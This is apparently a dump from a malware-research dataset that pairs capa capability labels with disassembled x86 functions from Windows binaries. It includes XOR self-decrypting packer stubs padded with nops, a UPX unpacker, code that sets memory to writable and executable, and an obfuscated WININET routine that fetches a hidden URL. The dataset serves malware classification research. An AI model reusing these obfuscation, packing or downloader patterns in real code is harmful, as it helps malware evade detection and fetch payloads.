joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100025a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
sub eax, esi
je 0x10002699
dec eax
je 0x100025c3
dec eax
jne 0x100026d2
call fcn.10003299
jmp 0x100026d2
mov eax, dword [esp + 8]
push 0x2c
mov dword [0x1000b264], eax
mov dword [0x1000b254], eax
mov dword [0x1000b308], 0x10001000
mov dword [0x1000b298], eax
mov dword [0x1000b29c], esi
mov dword [0x1000b2a0], esi
mov dword [0x1000b2a8], esi
mov dword [0x1000b2ac], 0x1000b2f8
mov dword [0x1000b2b0], 0x10001344
mov dword [0x1000b2b4], 0x10001c9b
mov dword [0x1000b2b8], 0x10002994
mov dword [0x1000b2bc], 0x100032ba
mov dword [0x1000b2c0], 0x100042ae
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x1000a238], eax
mov dword [0x1000a224], 1
call fcn.10004bb3
mov eax, dword [0x1000b2f0]
mov dword [0x1000b2c4], 0x10004c3b
mov dword [0x1000b2c8], 0x10005598
mov dword [0x1000b2cc], 0x10005e9d
mov dword [0x1000b2d0], 0x10003bcf
mov dword [0x1000b2dc], 0x1000296d
mov dword [0x1000b2d4], eax
call fcn.10001c49
push 0x1000b298
call dword [0x1000b274]
pop ecx
jmp 0x100026d2
call fcn.10005577
mov eax, 0x1000a250
push esi
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
push 6
push 0x1000b354
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
mov dword [0x1000b2ec], eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [0x1000b30c], eax
mov eax, dword [0x1000a208]
pop esi
ret 0xc
Function at 0x1000745d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1000a050
cmp edx, dword [eax]
je 0x1000747f
add eax, 8
inc ecx
cmp eax, 0x1000a0e0
jl 0x10007470
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1000a050]
jne 0x100075ad
mov eax, dword [0x1000b364]
cmp eax, 1
je 0x10007587
test eax, eax
jne 0x100074b0
cmp dword [0x1000b368], 1
je 0x10007587
cmp edx, 0xfc
je 0x100075ad
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100074e7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.10007ea0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.10007f90
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1000752a
lea eax, [ebp - 0x1a4]
push eax
call fcn.10007f90
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x100093a4
push edi
call fcn.100087b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.10007ea0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.10007eb0
lea eax, [ebp - 0xa0]
push 0x10009384
push eax
call fcn.10007eb0
push dword [esi + 0x1000a054]
lea eax, [ebp - 0xa0]
push eax
call fcn.10007eb0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.10008725
add esp, 0x2c
pop edi
jmp 0x100075ad
lea eax, [ebp + 8]
lea esi, [esi + 0x1000a054]
push 0
push eax
push dword [esi]
call fcn.10007f90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10058df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100856f0
mov eax, dword fs:[0]
push eax
mov eax, 0x494c
call fcn.1007d410
mov eax, dword [0x100ab008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0x18]
push 0x4928
lea eax, [ebp - 0x4958]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x4928
lea eax, [ebp - 0x4958]
mov dword [ebp - 0x14], 0
push eax
push 2
mov edx, 0x6b
lea ecx, [ebp - 0x14]
call fcn.1005ef10
add esp, 0x18
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
mov eax, dword [ebp - 0x14]
push ecx
mov edx, esp
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], esp
mov dword [edx], eax
mov byte [ebp - 4], 1
mov byte [ebp - 4], 0
mov ecx, dword [esi + 8]
push 9
call fcn.10061910
cmp dword [ebp - 0x18], 0
jne 0x10058f3d
cmp dword [0x100ae35c], 0
je 0x10058f16
push ecx
mov ecx, 0x100ae35c
call fcn.10075990
mov eax, dword [0x100ae35c]
cmp byte [eax + 0x54], 0
je 0x10058f16
cmp dword [eax + 0x58], 4
jb 0x10058f16
mov bl, byte [eax + 0x5c]
lea ecx, [ebp - 0x30]
call fcn.10004c70
push 0x21
push 0x10091b90
mov byte [ebp - 4], 2
call fcn.100057c0
push 0x93
push 0x1008a9e0
push 0x1008a9e0
lea eax, [ebp - 0x30]
mov ecx, 0x100ae35c
push eax
push 4
call fcn.10076760
test bl, bl
je 0x10058f0a
lea eax, [ebp - 0x30]
mov ecx, 0x100ae35c
push eax
call fcn.10076b00
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call fcn.10004be0
push 0
push 0
push 0
push 0x10058b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10058f36
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x10058fbc
cmp dword [0x100ae35c], 0
je 0x10058fba
push ecx
mov ecx, 0x100ae35c
call fcn.10075990
mov eax, dword [0x100ae35c]
cmp byte [eax + 0x54], 0
je 0x10058fba
cmp dword [eax + 0x58], 4
jb 0x10058fba
mov bl, byte [eax + 0x5c]
lea ecx, [ebp - 0x30]
call fcn.10004c70
push 0x21
push 0x10091ad0
mov byte [ebp - 4], 4
call fcn.100057c0
push 0x9b
push 0x1008a9e0
push 0x1008a9e0
lea eax, [ebp - 0x30]
mov ecx, 0x100ae35c
push eax
push 4
call fcn.10076760
test bl, bl
je 0x10058fae
lea eax, [ebp - 0x30]
mov ecx, 0x100ae35c
push eax
call fcn.10076b00
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call fcn.10004be0
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10058fde
mov dword [ebp - 4], 5
mov edx, dword [ecx]
push 1
call dword [edx]
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007b6f9
mov esp, ebp
pop ebp
ret
Function at 0x100747f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100a8d50
push 0x1007c178
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x100ab008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 0
xor esi, esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], esi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x100
mov eax, dword [ecx]
mov edi, dword [eax + 0x28]
mov dword [ebp - 0x40], edi
test edi, edi
jne 0x10074859
xor eax, eax
jmp 0x100749cf
mov dword [ebp - 4], ebx
push str.InitializeSecurityDescriptor
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007499a
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x1007499a
push str.AllocateAndInitializeSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007499a
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x24]
push ecx
call eax
test eax, eax
je 0x1007499a
push str.GetLengthSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007499a
push dword [ebp - 0x28]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x3c], esi
test esi, esi
je 0x1007499a
push str.InitializeAcl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007499a
push 2
push dword [ebp - 0x30]
push esi
call eax
test eax, eax
je 0x1007499a
push str.AddAccessAllowedAce
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007499a
push dword [ebp - 0x28]
push 0x10000000
push 2
push esi
call eax
test eax, eax
je 0x1007499a
push str.SetSecurityDescriptorDacl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x1007499a
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10074983
push 0
push ecx
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x10074970
mov ebx, 1
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x2c], 0
je 0x10074980
jmp 0x1007499a
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
push 0
push esi
push 1
push dword [ebp - 0x34]
call eax
mov ecx, 1
test eax, eax
cmovne ebx, ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.100749f6
test ebx, ebx
jne 0x100749cd
test esi, esi
je 0x100749bf
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100749cd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007b6f9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call sub.KERNEL32.DLL_SetLastError
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.i799eaxa]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.i799eaxa]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.i799eaxa]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.i799eaxa]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.i799eaxa]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.i799eaxa]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401b7e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, 0
mov dword [esp], 0
call sub.msvcrt.dll_malloc
mov esi, eax
mov dword [esp + 4], 0x40e000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov edi, eax
mov eax, 0
test edi, edi
je 0x401c23
jmp 0x401bc1
mov eax, 0
jmp 0x401c23
test byte [edi + 0xc], 0x10
jne 0x401c00
inc ebx
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.msvcrt.dll_realloc
mov esi, eax
test eax, eax
je 0x401bba
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [eax + ebx - 1]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test byte [edi + 0xc], 0x10
je 0x401bc7
lea eax, [ebx - 1]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00401b44
mov ebx, eax
mov dword [esp], esi
call sub.msvcrt.dll_free
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x502790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa6000]
push edi
jmp 0x5027aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5027b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5027a0
mov eax, 1
add ebx, ebx
jne 0x5027c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5027d4
jne 0x5027f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5027f3
dec eax
add ebx, ebx
jne 0x5027e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5027b8
add ebx, ebx
jne 0x5027ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x502845
xor ecx, ecx
sub eax, 3
jb 0x50280b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50287a
sar eax, 1
mov ebp, eax
jmp 0x502816
add ebx, ebx
jne 0x502816
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5027e4
inc ecx
add ebx, ebx
jne 0x502824
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5027e4
add ebx, ebx
jne 0x502831
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x502826
jne 0x502842
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x502826
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x502864
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x502856
jmp 0x5027a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x502864
add edi, ecx
jmp 0x5027a6
pop esi
mov edi, esi
mov ecx, 0x3b6c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x502882
cmp byte [edi], 0x17
jne 0x502882
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x502887
lea edi, [esi + 0xfc000]
mov eax, dword [edi]
or eax, eax
je 0x5028f6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x121810]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1218a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5028b4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1218ac]
or eax, eax
je 0x5028f0
mov dword [ebx], eax
add ebx, 4
jmp 0x5028d1
call dword [esi + 0x1218a8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x502927
cmp al, 0xef
ja 0x50291a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5028fc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x502909
mov ebp, dword [esi + 0x1218b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50295b
sub esp, 0xffffff80
jmp 0x435126
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x2f767ce3
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x3c3f7168
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40bd30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov dword [ebp - 0xc], ecx
push esi
mov edx, str._CRu_
lea ecx, [ebp - 4]
xor ebx, ebx
call fcn.0040a580
mov eax, dword [ebp - 4]
cmp dword [eax - 0xc], ebx
je 0x40bdee
xor esi, esi
push edi
lea esp, [esp]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 8]
push edx
push 0
xor ecx, ecx
push 2
test esi, esi
push 0
setne cl
push 0
push 0
push eax
mov dword [ebp - 8], 0
add ecx, 0x80000001
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40bde0
mov edx, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
test edx, edx
jne 0x40bda1
lea eax, [edx + 0xd]
jmp 0x40bdce
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40bda6
sub eax, ebx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push 0
push 0x430ed8
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
test edi, edi
je 0x40bde0
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
inc esi
cmp esi, 2
jl 0x40bd60
pop edi
lea esi, [eax - 0x10]
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40be08
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x425d1e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00418afb
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x425d56
xor eax, eax
jmp 0x425d82
cmp esi, dword [ebp - 4]
je 0x425d7f
cmp dword [ebp + 0xc], 0
je 0x425d7f
push dword [edi + 0x9c]
call fcn.0042592c
push dword [edi + 0x9c]
mov esi, eax
call fcn.00416a15
pop ecx
pop ecx
cmp esi, eax
je 0x425d52
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x5eb22786
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x4f7c4c51
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x10011ee0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
push 0x2c0
push str.2_747:_06200_
call fcn.10013570
add esp, 8
cmp word [0x1001f1c2], 0
je 0x100120b8
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0xc]
push str.InternetOpenA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 8]
mov dword [ebp - 0x10], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10011f77
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0xc]
push str.InternetOpenUrlA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 0x10]
push 0
push 0x80000100
push 0
push 0
push str.kwur9_qus_achfs__lo.hs_vyv
push edx
call dword [ebp - 8]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 8]
test esi, esi
jne 0x10011fd1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x80f]
mov byte [ebp - 0x810], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, dword [ebp - 0xc]
mov ecx, 0x200
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x810]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFile
push ebx
mov dword [ebp - 4], 0
call edi
lea ecx, [ebp - 4]
lea edx, [ebp - 0x810]
push ecx
push 0x800
push edx
push esi
call eax
push str.InternetCloseHandle
push ebx
call edi
push str.FreeLibrary
push str.KERNEL32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
lea edx, [ebp - 0x810]
push 0x1001f688
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012072
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
